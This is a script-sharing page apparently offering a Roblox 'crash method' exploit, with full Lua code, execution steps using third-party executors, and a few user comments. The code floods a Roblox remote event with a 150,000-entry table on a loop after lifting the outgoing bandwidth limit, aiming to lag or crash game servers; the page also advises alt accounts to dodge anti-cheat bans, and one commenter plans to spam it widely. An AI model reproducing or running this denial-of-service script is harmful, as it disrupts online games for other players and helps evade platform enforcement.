
Universal Script – Crash method (works on all games)
local Players = game:GetService("Players")
local UserInputService = game:GetService("UserInputService")
local TweenService = game:GetService("TweenService")
local RunService = game:GetService("RunService")
local player = Players.LocalPlayer
local playerGui = player:WaitForChild("PlayerGui")
local COLORS = {
bg = Color3.fromRGB(14, 14, 16),
surface = Color3.fromRGB(22, 22, 26),
disabled = Color3.fromRGB(38, 38, 44),
border = Color3.fromRGB(60, 60, 68),
accent = Color3.fromRGB(230, 35, 35),
accentDark = Color3.fromRGB(170, 22, 22),
accentBright = Color3.fromRGB(255, 70, 70),
crimson = Color3.fromRGB(110, 15, 15),
text = Color3.fromRGB(238, 238, 242),
white = Color3.fromRGB(255, 255, 255),
black = Color3.fromRGB(0, 0, 0),
}
local FONT = Enum.Font.GothamBlack
local SRC = [==[
local RunService = game:GetService("RunService")
local Children = 150000
local NestedPerChild = 0
local FieldsPerChild = 0
local FireBurst = 1
local FrameDelay = 0.125
local FieldSize = 0
local RebuildEach = false
local state = {
running = false,
thread = nil,
remote = nil,
cache = nil,
pad = "",
}
local function resolve()
local rrs = game:FindFirstChild("RobloxReplicatedStorage")
if not rrs then return nil end
local r = rrs:FindFirstChild("SetPlayerBlockList")
if r and (r:IsA("RemoteEvent") or r:IsA("UnreliableRemoteEvent")) then
return r
end
return nil
end
state.remote = resolve()
pcall(function()
game:GetService("NetworkClient"):SetOutgoingKBPSLimit(math.huge)
end)
state.pad = FieldSize > 0 and string.rep("P", FieldSize) or ""
local function build()
local root = table.create(Children)
for i = 1, Children do
local entry = { id = i, v = i * 2 }
for k = 1, FieldsPerChild do
entry["k" .. k] = (FieldSize > 0) and state.pad or (i + k)
end
for j = 1, NestedPerChild do
entry["n" .. j] = { a = i, b = j }
end
root[i] = entry
end
return root
end
local function fire()
if not state.remote then
state.remote = resolve()
if not state.remote then return end
end
local payload
if RebuildEach or not state.cache then
payload = build()
if not RebuildEach then state.cache = payload end
else
payload = state.cache
end
for _ = 1, FireBurst do
state.remote:FireServer(payload)
end
end
local function start()
if state.running then return end
state.running = true
state.cache = nil
state.thread = task.spawn(function()
while state.running do
pcall(fire)
if FrameDelay > 0 then
task.wait(FrameDelay)
else
RunService.Heartbeat:Wait()
end
end
end)
end
local function stop()
state.running = false
if state.thread then pcall(task.cancel, state.thread) end
state.thread = nil
state.cache = nil
end
return {
start = start,
stop = stop,
toggle = function() if state.running then stop() else start() end end,
isRunning = function() return state.running end,
}
]==]
local loader = coroutine.create(function()
local chunk = loadstring(SRC)
if not chunk then return end
local ok, api = pcall(chunk)
if ok and type(api) == "table" then
_G.__ALT = api
end
end)
coroutine.resume(loader)
loader = nil
local api = _G.__ALT
_G.__ALT = nil
local screenGui = Instance.new("ScreenGui")
screenGui.Name = "AntiLoseUI"
screenGui.ResetOnSpawn = false
screenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
screenGui.IgnoreGuiInset = true
screenGui.Parent = playerGui
local main = Instance.new("Frame")
main.Name = "MainFrame"
main.Size = UDim2.new(0, 210, 0, 92)
main.Position = UDim2.new(0.5, 0, 0.5, 0)
main.AnchorPoint = Vector2.new(0.5, 0.5)
main.BackgroundColor3 = COLORS.bg
main.BorderSizePixel = 0
main.ClipsDescendants = false
main.Parent = screenGui
local mainCorner = Instance.new("UICorner")
mainCorner.CornerRadius = UDim.new(0, 10)
mainCorner.Parent = main
local mainGrad = Instance.new("UIGradient")
mainGrad.Color = ColorSequence.new(COLORS.bg, Color3.fromRGB(22, 14, 14))
mainGrad.Rotation = 135
mainGrad.Parent = main
local borderFrame = Instance.new("Frame")
borderFrame.Name = "BorderFrame"
borderFrame.Size = UDim2.new(1, 2, 1, 2)
borderFrame.Position = UDim2.new(0.5, 0, 0.5, 0)
borderFrame.AnchorPoint = Vector2.new(0.5, 0.5)
borderFrame.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
borderFrame.BorderSizePixel = 0
borderFrame.ZIndex = 0
borderFrame.Parent = main
local borderCorner = Instance.new("UICorner")
borderCorner.CornerRadius = UDim.new(0, 11)
borderCorner.Parent = borderFrame
local borderGrad = Instance.new("UIGradient")
borderGrad.Color = ColorSequence.new({
ColorSequenceKeypoint.new(0.0, Color3.fromRGB(40, 5, 5)),
ColorSequenceKeypoint.new(0.25, Color3.fromRGB(180, 20, 20)),
ColorSequenceKeypoint.new(0.5, Color3.fromRGB(255, 90, 90)),
ColorSequenceKeypoint.new(0.75, Color3.fromRGB(180, 20, 20)),
ColorSequenceKeypoint.new(1.0, Color3.fromRGB(40, 5, 5)),
})
borderGrad.Rotation = 0
borderGrad.Parent = borderFrame
local innerMask = Instance.new("Frame")
innerMask.Name = "InnerMask"
innerMask.Size = UDim2.new(1, -2, 1, -2)
innerMask.Position = UDim2.new(0.5, 0, 0.5, 0)
innerMask.AnchorPoint = Vector2.new(0.5, 0.5)
innerMask.BackgroundColor3 = COLORS.bg
innerMask.BorderSizePixel = 0
innerMask.ZIndex = 1
innerMask.Parent = main
local innerCorner = Instance.new("UICorner")
innerCorner.CornerRadius = UDim.new(0, 9)
innerCorner.Parent = innerMask
local innerGrad = Instance.new("UIGradient")
innerGrad.Color = ColorSequence.new(COLORS.bg, Color3.fromRGB(22, 14, 14))
innerGrad.Rotation = 135
innerGrad.Parent = innerMask
local title = Instance.new("TextLabel")
title.Name = "Title"
title.Size = UDim2.new(1, 0, 0, 34)
title.Position = UDim2.new(0, 0, 0, 0)
title.BackgroundTransparency = 1
title.Font = FONT
title.Text = "Hook Anti Lose"
title.TextColor3 = COLORS.text
title.TextSize = 14
title.TextXAlignment = Enum.TextXAlignment.Center
title.ZIndex = 3
title.Parent = main
local toggle = Instance.new("TextButton")
toggle.Name = "Toggle"
toggle.Size = UDim2.new(1, -20, 0, 38)
toggle.Position = UDim2.new(0, 10, 0, 44)
toggle.BackgroundColor3 = COLORS.disabled
toggle.BorderSizePixel = 0
toggle.Font = FONT
toggle.Text = ""
toggle.TextTransparency = 1
toggle.AutoButtonColor = false
toggle.ZIndex = 3
toggle.Parent = main
local toggleCorner = Instance.new("UICorner")
toggleCorner.CornerRadius = UDim.new(0, 8)
toggleCorner.Parent = toggle
local toggleGrad = Instance.new("UIGradient")
toggleGrad.Color = ColorSequence.new(COLORS.disabled, Color3.fromRGB(48, 48, 54))
toggleGrad.Rotation = 135
toggleGrad.Parent = toggle
local toggleStroke = Instance.new("UIStroke")
toggleStroke.Color = COLORS.crimson
toggleStroke.Thickness = 1.66
toggleStroke.Transparency = 0
toggleStroke.ApplyStrokeMode = Enum.ApplyStrokeMode.Border
toggleStroke.Parent = toggle
local toggleLabel = Instance.new("TextLabel")
toggleLabel.Name = "Label"
toggleLabel.Size = UDim2.new(1, 0, 1, 0)
toggleLabel.Position = UDim2.new(0, 0, 0, 0)
toggleLabel.BackgroundTransparency = 1
toggleLabel.Font = FONT
toggleLabel.Text = "DISABLED"
toggleLabel.TextColor3 = COLORS.white
toggleLabel.TextTransparency = 0
toggleLabel.TextSize = 14
toggleLabel.TextXAlignment = Enum.TextXAlignment.Center
toggleLabel.TextYAlignment = Enum.TextYAlignment.Center
toggleLabel.ZIndex = 5
toggleLabel.Active = false
toggleLabel.Parent = toggle
local active = false
RunService.RenderStepped:Connect(function(dt)
local speed = active and 160 or 60
borderGrad.Rotation = (borderGrad.Rotation + speed * dt) % 360
end)
local function setActive(state)
active = state
if state then
toggle.BackgroundColor3 = COLORS.accentBright
toggleGrad.Color = ColorSequence.new(COLORS.accent, COLORS.accentBright)
toggleGrad.Rotation = 0
toggleStroke.Color = COLORS.accentBright
toggleLabel.Text = "ENABLED"
toggleLabel.TextColor3 = COLORS.black
if api and api.start then
pcall(api.start)
end
else
toggle.BackgroundColor3 = COLORS.disabled
toggleGrad.Color = ColorSequence.new(COLORS.disabled, Color3.fromRGB(48, 48, 54))
toggleGrad.Rotation = 135
toggleStroke.Color = COLORS.crimson
toggleLabel.Text = "DISABLED"
toggleLabel.TextColor3 = COLORS.white
if api and api.stop then
pcall(api.stop)
end
end
end
toggle.MouseButton1Click:Connect(function()
setActive(not active)
end)
local dragging = false
local dragStart, startPos
main.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
dragging = true
dragStart = input.Position
startPos = main.Position
end
end)
UserInputService.InputChanged:Connect(function(input)
if dragging and (input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch) then
local delta = input.Position - dragStart
main.Position = UDim2.new(
startPos.X.Scale, startPos.X.Offset + delta.X,
startPos.Y.Scale, startPos.Y.Offset + delta.Y
)
end
end)
UserInputService.InputEnded:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
dragging = false
end
end)How to Execute Universal Script – Crash method (works on all games)
Step 1: Copy Code: Click the Copy Code button in the viewer above to grab the clean Lua loadstring.
Step 2: Launch Executor: Open a compatible, unpatched executor. If you need one, check our Roblox Executors Directory.
Step 3: Join Experience: Launch Roblox and join Universal Script.
Step 4: Attach & Run: Attach/inject your executor into the Roblox process, paste the code into the script tab, and press Execute.
Created By
View Author ProfileFeatures & Information
Script Changelog (1)
Community Comments (3)
Frequently Asked Questions
How do I execute Universal Script – Crash method (works on all games) in Roblox?
To run Universal Script – Crash method (works on all games), copy the Lua loadstring from the code viewer above, launch Roblox and join Universal Script, attach a working executor (such as Potassium, Solara, or Delta from our Executors directory), paste the code into your executor console, and click Execute.
Is Universal Script – Crash method (works on all games) keyless or does it require an access key?
Universal Script – Crash method (works on all games) requires an access key. You can retrieve the official key directly using the Get Script Key link provided above.
Is Universal Script – Crash method (works on all games) currently safe and working?
This script is active and operational. Always test scripts using a secondary (alt) Roblox account to safeguard your main profile against anti-cheat bans.


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This remote was patched long ago
from my testing, this script is not FE, it only lags the current client you are in, so no this script does not crash servers. tho if you want free lag then this is the script
Thanks for not gatekeeping, gonna spam this everywhere